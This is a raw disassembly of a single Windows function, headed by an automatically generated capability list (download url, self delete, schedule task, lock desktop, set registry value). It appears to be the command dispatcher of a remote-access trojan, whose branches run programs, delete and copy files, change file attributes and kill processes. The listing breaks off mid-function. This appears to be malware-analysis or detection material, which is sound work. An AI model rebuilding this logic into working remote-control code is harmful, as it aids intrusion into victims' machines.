Function at 0x4760a4
Capabilities:
Copy file
Create process on windows
Delete file
Download url
Get memory capacity
Lock the desktop
Receive data
Schedule task via at
Self delete
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xed
push 0
push 0
dec ecx
jne 0x4760ac
push ecx
push ebx
push esi
push edi
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
call fcn.004059cc
lea eax, [ebp - 0x198]
mov edx, dword [0x408b28]
call fcn.00405fe8
xor eax, eax
push ebp
push 0x47d27b
push dword fs:[eax]
mov dword fs:[eax], esp
xor ecx, ecx
push ebp
push 0x47d13e
push dword fs:[ecx]
mov dword fs:[ecx], esp
mov eax, dword [ebp - 8]
mov edx, 0x47d294
call fcn.00405974
jne 0x476108
mov eax, 0x47d2a4
call fcn.00475e2c
lea eax, [ebp - 0x200]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x200]
mov edx, 0x47d2b4
call fcn.00405974
jne 0x47615a
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.0048b42c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x47d148
lea eax, [ebp - 0x204]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x204]
mov edx, 0x47d2c8
call fcn.00405974
jne 0x4761a4
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.00409edc
call fcn.00488d04
lea eax, [ebp - 0x208]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x208]
mov edx, 0x47d2dc
call fcn.00405974
jne 0x476452
lea eax, [ebp - 8]
mov ecx, 6
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov eax, dword [0x494b70]
mov edx, dword [ebp - 0xc]
call fcn.00405584
lea eax, [ebp - 0x1c]
call fcn.0048cf38
movzx eax, byte [0x47d2f0]
push eax
lea eax, [ebp - 0x20c]
push eax
mov ecx, 0x47d2fc
mov edx, 0x47d2ec
mov eax, dword [ebp - 0x1c]
call fcn.0040ef44
mov edx, dword [ebp - 0x20c]
lea eax, [ebp - 0x1c]
call fcn.004055c8
call fcn.0048d0a4
test al, al
je 0x476289
lea eax, [ebp - 0x14]
mov edx, 0x47d308
call fcn.004055c8
jmp 0x476296
lea eax, [ebp - 0x14]
mov edx, 0x47d318
call fcn.004055c8
lea eax, [ebp - 0x210]
call fcn.0048cfb4
cmp dword [ebp - 0x210], 0
je 0x4762b9
lea eax, [ebp - 0x18]
mov edx, 0x47d328
call fcn.004055c8
jmp 0x4762c1
lea eax, [ebp - 0x18]
call fcn.00405530
push 0x47d334
mov eax, dword [0x494930]
push dword [eax]
push 0x47d2ec
push dword [ebp - 0xc]
push 0x47d344
push 0x47d350
lea eax, [ebp - 0x218]
call fcn.00460a58
push dword [ebp - 0x218]
push 0x47d35c
lea edx, [ebp - 0x21c]
mov eax, dword [0x4949d4]
movzx eax, word [eax]
call fcn.00409d70
push dword [ebp - 0x21c]
push 0x47d2ec
lea eax, [ebp - 0x220]
call fcn.0048ceb0
push dword [ebp - 0x220]
push 0x47d344
lea eax, [ebp - 0x224]
call fcn.0048ce74
push dword [ebp - 0x224]
push 0x47d2ec
push dword [ebp - 0x10]
push 0x47d2ec
call fcn.0048a114
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x228]
call fcn.00409e5c
push dword [ebp - 0x228]
push 0x47d36c
push 0x47d2ec
lea eax, [ebp - 0x22c]
call fcn.0048d3c4
push dword [ebp - 0x22c]
push dword [ebp - 0x14]
push 0x47d378
lea eax, [ebp - 0x234]
call fcn.0048d704
mov eax, dword [ebp - 0x234]
lea edx, [ebp - 0x230]
call fcn.0040a5a0
push dword [ebp - 0x230]
push 0x47d384
push 0x47d2ec
lea eax, [ebp - 0x238]
call fcn.0048b908
push dword [ebp - 0x238]
push 0x47d2ec
push dword [ebp - 0x18]
push 0x47d2ec
lea eax, [ebp - 0x23c]
call fcn.0048ceec
push dword [ebp - 0x23c]
push 0x47d2ec
push dword [ebp - 0x1c]
push 0x47d2ec
mov eax, dword [0x494910]
push dword [eax]
push 0x47d2ec
lea eax, [ebp - 0x240]
call fcn.0048dd0c
push dword [ebp - 0x240]
push 0x47d2ec
lea eax, [ebp - 0x244]
call fcn.0048dc30
push dword [ebp - 0x244]
push 0x47d2ec
mov eax, dword [0x4949e4]
push dword [eax]
push 0x47d2ec
mov eax, dword [0x4948a8]
push dword [eax]
lea eax, [ebp - 0x214]
mov edx, 0x2a
call fcn.004058e0
mov eax, dword [ebp - 0x214]
call fcn.00475e2c
lea eax, [ebp - 0x248]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x248]
mov edx, 0x47d390
call fcn.00405974
jne 0x476545
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x24c]
call fcn.0048cfb4
cmp dword [ebp - 0x24c], 0
je 0x4764b6
lea eax, [ebp - 0xc]
mov edx, 0x47d328
call fcn.004055c8
jmp 0x4764be
lea eax, [ebp - 0xc]
call fcn.00405530
push 0x47d3a4
mov eax, dword [0x494930]
push dword [eax]
push 0x47d2ec
push dword [ebp - 8]
push 0x47d2ec
call fcn.0048a114
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x254]
call fcn.00409e5c
push dword [ebp - 0x254]
push 0x47d36c
push 0x47d2ec
push dword [ebp - 0xc]
push 0x47d2ec
lea eax, [ebp - 0x258]
call fcn.0048dd0c
push dword [ebp - 0x258]
push 0x47d2ec
lea eax, [ebp - 0x25c]
call fcn.0048cf38
push dword [ebp - 0x25c]
lea eax, [ebp - 0x250]
mov edx, 0xd
call fcn.004058e0
mov eax, dword [ebp - 0x250]
call fcn.00475e2c
lea eax, [ebp - 0x260]
push eax
mov ecx, 3
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x260]
mov edx, 0x47d3b8
call fcn.00405974
jne 0x476599
lea eax, [ebp - 8]
mov ecx, 3
mov edx, 1
call fcn.00405a84
push 0x40
push 0x47d3bc
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 0
call sub.user32.dll_MessageBoxA_1
lea eax, [ebp - 0x264]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x264]
mov edx, 0x47d3c8
call fcn.00405974
jne 0x4765f1
lea eax, [ebp - 8]
mov ecx, 9
mov edx, 1
call fcn.00405a84
push 5
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 0x47d3d4
push 0
call sub.shell32.dll_ShellExecuteA
mov eax, dword [ebp - 8]
mov edx, 0x47d3e4
call fcn.00405974
jne 0x47662c
lea eax, [ebp - 0x26c]
call fcn.0046d854
mov ecx, dword [ebp - 0x26c]
lea eax, [ebp - 0x268]
mov edx, 0x47d3f8
call fcn.00405864
mov eax, dword [ebp - 0x268]
call fcn.00475e2c
mov eax, dword [ebp - 8]
mov edx, 0x47d408
call fcn.00405974
jne 0x476667
lea eax, [ebp - 0x274]
call fcn.0046d854
mov ecx, dword [ebp - 0x274]
lea eax, [ebp - 0x270]
mov edx, 0x47d420
call fcn.00405864
mov eax, dword [ebp - 0x270]
call fcn.00475e2c
mov eax, dword [ebp - 8]
mov edx, 0x47d434
call fcn.00405974
jne 0x4766a2
lea eax, [ebp - 0x27c]
call fcn.00488be0
mov ecx, dword [ebp - 0x27c]
lea eax, [ebp - 0x278]
mov edx, 0x47d448
call fcn.00405864
mov eax, dword [ebp - 0x278]
call fcn.00475e2c
lea eax, [ebp - 0x280]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x280]
mov edx, 0x47d458
call fcn.00405974
jne 0x4767c6
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea edx, [ebp - 0x284]
mov eax, dword [ebp - 0xc]
call fcn.0046d400
mov eax, dword [ebp - 0x284]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
call fcn.00475fd8
pop ecx
mov eax, dword [ebp - 8]
mov edx, 0x47d468
call fcn.00405974
jne 0x476803
lea edx, [ebp - 0x28c]
xor eax, eax
call fcn.0048adcc
mov ecx, dword [ebp - 0x28c]
lea eax, [ebp - 0x288]
mov edx, 0x47d47c
call fcn.00405864
mov eax, dword [ebp - 0x288]
call fcn.00475e2c
mov eax, dword [ebp - 8]
mov edx, 0x47d48c
call fcn.00405974
jne 0x476843
lea edx, [ebp - 0x294]
mov eax, 5
call fcn.0048adcc
mov ecx, dword [ebp - 0x294]
lea eax, [ebp - 0x290]
mov edx, 0x47d47c
call fcn.00405864
mov eax, dword [ebp - 0x290]
call fcn.00475e2c
mov eax, dword [ebp - 8]
mov edx, 0x47d4a0
call fcn.00405974
jne 0x47687b
jmp 0x476863
mov eax, 0x47d4b4
call fcn.00483f50
call fcn.00484388
mov eax, 0x47d4b4
call fcn.00483f50
test eax, eax
jg 0x476854
call sub.kernel32.dll_GetCurrentProcessId
call fcn.00484388
mov eax, dword [ebp - 8]
mov edx, 0x47d4c8
call fcn.00405974
jne 0x476897
mov eax, dword [0x494af0]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_closesocket
mov eax, dword [ebp - 8]
mov edx, 0x47d4e0
call fcn.00405974
jne 0x47693c
lea edx, [ebp - 0x298]
mov eax, 0x47d4f8
call fcn.004735e8
mov eax, dword [ebp - 0x298]
mov edx, 0x47d504
call fcn.00405974
je 0x476906
push 0x47d510
lea edx, [ebp - 0x2a0]
xor eax, eax
call fcn.0040f234
push dword [ebp - 0x2a0]
push 0x47d538
lea eax, [ebp - 0x29c]
mov edx, 3
call fcn.004058e0
mov eax, dword [ebp - 0x29c]
call fcn.0046d36c
jmp 0x476932
push 0x47d510
mov eax, dword [0x49487c]
push dword [eax]
push 0x47d538
lea eax, [ebp - 0x2a4]
mov edx, 3
call fcn.004058e0
mov eax, dword [ebp - 0x2a4]
call fcn.0046d36c
call sub.kernel32.dll_GetCurrentProcessId
call fcn.00484388
lea eax, [ebp - 0x2a8]
push eax
mov ecx, 0x12
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2a8]
mov edx, 0x47d544
call fcn.00405974
jne 0x476993
lea eax, [ebp - 8]
mov ecx, 0x12
mov edx, 1
call fcn.00405a84
xor ecx, ecx
mov edx, dword [ebp - 8]
xor eax, eax
call fcn.0048a218
test al, al
jne 0x476993
mov eax, 0x47d560
call fcn.00475e2c
lea eax, [ebp - 0x2ac]
push eax
mov ecx, 0xf
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2ac]
mov edx, 0x47d570
call fcn.00405974
jne 0x476ac0
lea eax, [ebp - 8]
mov ecx, 0xf
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
lea edx, [ebp - 0x2b0]
mov eax, dword [ebp - 0xc]
call fcn.00409b7c
cmp dword [ebp - 0x2b0], 0
je 0x476a7e
push 5
lea edx, [ebp - 0x2b4]
mov eax, dword [ebp - 0xc]
call fcn.0040a5a0
mov eax, dword [ebp - 0x2b4]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0x10]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
push 0x47d3d4
push 0
call sub.shell32.dll_ShellExecuteA
cmp eax, 0x20
ja 0x476ac0
mov eax, 0x47d588
call fcn.00475e2c
jmp 0x476ac0
push 5
lea edx, [ebp - 0x2b8]
mov eax, dword [ebp - 0xc]
call fcn.0040a5a0
mov eax, dword [ebp - 0x2b8]
call fcn.004059dc
push eax
push 0
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
push 0x47d3d4
push 0
call sub.shell32.dll_ShellExecuteA
cmp eax, 0x20
ja 0x476ac0
mov eax, 0x47d588
call fcn.00475e2c
lea eax, [ebp - 0x2bc]
push eax
mov ecx, 0x11
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2bc]
mov edx, 0x47d59c
call fcn.00405974
jne 0x476bed
lea eax, [ebp - 8]
mov ecx, 0x11
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
lea edx, [ebp - 0x2c0]
mov eax, dword [ebp - 0xc]
call fcn.00409b7c
cmp dword [ebp - 0x2c0], 0
je 0x476bab
push 0
lea edx, [ebp - 0x2c4]
mov eax, dword [ebp - 0xc]
call fcn.0040a5a0
mov eax, dword [ebp - 0x2c4]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0x10]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
push 0x47d3d4
push 0
call sub.shell32.dll_ShellExecuteA
cmp eax, 0x20
ja 0x476bed
mov eax, 0x47d588
call fcn.00475e2c
jmp 0x476bed
push 0
lea edx, [ebp - 0x2c8]
mov eax, dword [ebp - 0xc]
call fcn.0040a5a0
mov eax, dword [ebp - 0x2c8]
call fcn.004059dc
push eax
push 0
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
push 0x47d3d4
push 0
call sub.shell32.dll_ShellExecuteA
cmp eax, 0x20
ja 0x476bed
mov eax, 0x47d588
call fcn.00475e2c
lea eax, [ebp - 0x2cc]
push eax
mov ecx, 7
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2cc]
mov edx, 0x47d5b8
call fcn.00405974
jne 0x476c79
lea eax, [ebp - 8]
mov ecx, 7
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.00409edc
mov edx, eax
mov eax, dword [ebp - 0xc]
call fcn.0048a2c0
lea eax, [ebp - 0x2d0]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2d0]
mov edx, 0x47d5c8
call fcn.00405974
jne 0x476d8e
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d5dc
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d5dc
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.00409edc
dec eax
jle 0x476d80
mov eax, dword [ebp - 8]
call fcn.00409edc
mov ebx, eax
test ebx, ebx
jl 0x476d8e
inc ebx
xor esi, esi
mov eax, dword [ebp - 8]
call fcn.00409edc
cmp esi, eax
jne 0x476d2f
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_DeleteFileA
jmp 0x476d7a
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
mov edx, dword [ebp - 0xc]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 0xc]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 0x10]
call fcn.004059dc
push eax
call sub.kernel32.dll_DeleteFileA
inc esi
dec ebx
jne 0x476d13
jmp 0x476d8e
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_DeleteFileA
lea eax, [ebp - 0x2d4]
push eax
mov ecx, 0x10
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2d4]
mov edx, 0x47d5e8
call fcn.00405974
jne 0x476e91
lea eax, [ebp - 8]
mov ecx, 0x10
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d5dc
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d5dc
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.00409edc
dec eax
jle 0x476e89
mov eax, dword [ebp - 8]
call fcn.00409edc
mov ebx, eax
test ebx, ebx
jl 0x476e91
inc ebx
xor esi, esi
mov eax, dword [ebp - 8]
call fcn.00409edc
cmp esi, eax
jne 0x476e3e
mov eax, dword [ebp - 0xc]
call fcn.0048a3c8
jmp 0x476e83
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
mov edx, dword [ebp - 0xc]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 0xc]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 0x10]
call fcn.0048a3c8
inc esi
dec ebx
jne 0x476e28
jmp 0x476e91
mov eax, dword [ebp - 0xc]
call fcn.0048a3c8
mov eax, dword [ebp - 8]
mov edx, 0x47d604
call fcn.00405974
jne 0x476ea5
call fcn.0048a46c
lea eax, [ebp - 0x2d8]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2d8]
mov edx, 0x47d618
call fcn.00405974
jne 0x476ef5
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.00405a84
push 0x80
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x2dc]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2dc]
mov edx, 0x47d630
call fcn.00405974
jne 0x476f42
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.00405a84
push 2
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x2e0]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2e0]
mov edx, 0x47d648
call fcn.00405974
jne 0x476f8f
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.00405a84
push 1
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x2e4]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2e4]
mov edx, 0x47d65c
call fcn.00405974
jne 0x476fdc
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.00405a84
push 4
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x2e8]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2e8]
mov edx, 0x47d674
call fcn.00405974
jne 0x477029
lea eax, [ebp - 8]
mov ecx, 0xd
mov edx, 1
call fcn.00405a84
push 0x20
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x2ec]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2ec]
mov edx, 0x47d68c
call fcn.00405974
jne 0x477079
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
push pe_nt_image_headers32
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x2f0]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2f0]
mov edx, 0x47d6a0
call fcn.00405974
jne 0x4771b0
lea eax, [ebp - 8]
mov ecx, 0xd
mov edx, 1
call fcn.00405a84
lea ecx, [ebp - 0x198]
mov edx, 0x3f
mov eax, dword [ebp - 8]
call fcn.0040a488
mov ebx, dword [ebp - 0x188]
test ebx, 2
jle 0x4770ea
lea eax, [ebp - 0xc]
mov edx, 0x47d6b8
call fcn.004055c8
jmp 0x4770f7
lea eax, [ebp - 0xc]
mov edx, 0x47d6c8
call fcn.004055c8
test ebx, 1
jle 0x47710e
lea eax, [ebp - 0x10]
mov edx, 0x47d6d4
call fcn.004055c8
jmp 0x47711b
lea eax, [ebp - 0x10]
mov edx, 0x47d6c8
call fcn.004055c8
test ebx, 0x20
jle 0x477132
lea eax, [ebp - 0x14]
mov edx, 0x47d6e8
call fcn.004055c8
jmp 0x47713f
lea eax, [ebp - 0x14]
mov edx, 0x47d6c8
call fcn.004055c8
test ebx, 4
jle 0x477156
lea eax, [ebp - 0x18]
mov edx, 0x47d6f8
call fcn.004055c8
jmp 0x477163
lea eax, [ebp - 0x18]
mov edx, 0x47d6c8
call fcn.004055c8
push 0x47d708
push dword [ebp - 8]
push 0x47d720
push 0x47d72c
push dword [ebp - 0xc]
push 0x47d748
push dword [ebp - 0x10]
push 0x47d748
push dword [ebp - 0x14]
push 0x47d748
push dword [ebp - 0x18]
push 0x47d754
lea eax, [ebp - 0x2f4]
mov edx, 0xc
call fcn.004058e0
mov eax, dword [ebp - 0x2f4]
call fcn.00475e2c
lea eax, [ebp - 0x2f8]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2f8]
mov edx, 0x47d760
call fcn.00405974
jne 0x4775f1
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
mov eax, dword [0x494940]
cmp dword [eax], 0
je 0x4775f1
lea eax, [ebp - 0xc]
push eax
mov edx, dword [0x494940]
mov edx, dword [edx]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov eax, dword [0x494940]
mov eax, dword [eax]
mov edx, 1
call fcn.00405a44
mov edx, dword [0x494940]
mov edx, dword [edx]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
mov eax, dword [0x494940]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x2fc]
push eax
mov edx, dword [0x494940]
mov edx, dword [edx]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov eax, dword [0x494940]
mov eax, dword [eax]
mov edx, 1
call fcn.00405a44
mov eax, dword [ebp - 0x2fc]
call fcn.00409edc
mov esi, eax
mov edx, dword [0x494940]
mov edx, dword [edx]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
mov eax, dword [0x494940]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [0x494940]
mov edx, dword [edx]
call fcn.004055c8
mov eax, dword [ebp - 0x14]
mov edx, 0x47d504
call fcn.00405974
jne 0x47748d
cmp esi, 1
jle 0x47743c
mov ebx, esi
test ebx, ebx
jle 0x4775dd
mov edi, 1
cmp esi, edi
je 0x4773e3
push 0xffffffffffffffff
lea eax, [ebp - 0x308]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x47d5dc
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
mov eax, dword [ebp - 0x308]
lea edx, [ebp - 0x304]
call fcn.0040a68c
mov ecx, dword [ebp - 0x304]
lea eax, [ebp - 0x300]
mov edx, dword [ebp - 8]
call fcn.00405864
mov eax, dword [ebp - 0x300]
call fcn.004059dc
push eax
lea eax, [ebp - 0x30c]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x47d5dc
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
mov eax, dword [ebp - 0x30c]
call fcn.004059dc
push eax
call sub.kernel32.dll_CopyFileA
lea eax, [ebp - 0x310]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x47d5dc
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
mov eax, dword [ebp - 0x310]
mov dword [ebp - 0x1bc], eax
mov eax, dword [ebp - 0x1bc]
call fcn.004059dc
push eax
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x1bd], al
mov edx, dword [ebp - 0xc]
mov eax, 0x47d5dc
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 0xc]
mov edx, 1
call fcn.00405a84
jmp 0x47742f
push 0xffffffffffffffff
lea edx, [ebp - 0x318]
mov eax, dword [ebp - 0xc]
call fcn.0040a68c
mov ecx, dword [ebp - 0x318]
lea eax, [ebp - 0x314]
mov edx, dword [ebp - 8]
call fcn.00405864
mov eax, dword [ebp - 0x314]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_CopyFileA
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_DeleteFileA
inc edi
dec ebx
jne 0x4772e4
jmp 0x4775dd
push 0xffffffffffffffff
lea edx, [ebp - 0x320]
mov eax, dword [ebp - 0xc]
call fcn.0040a68c
mov ecx, dword [ebp - 0x320]
lea eax, [ebp - 0x31c]
mov edx, dword [ebp - 8]
call fcn.00405864
mov eax, dword [ebp - 0x31c]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_CopyFileA
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_DeleteFileA
jmp 0x4775dd
cmp esi, 1
jle 0x47759f
mov ebx, esi
test ebx, ebx
jle 0x4775dd
mov edi, 1
cmp esi, edi
je 0x477557
push 0xffffffffffffffff
lea eax, [ebp - 0x32c]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x47d5dc
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
mov eax, dword [ebp - 0x32c]
lea edx, [ebp - 0x328]
call fcn.0040a68c
mov ecx, dword [ebp - 0x328]
lea eax, [ebp - 0x324]
mov edx, dword [ebp - 8]
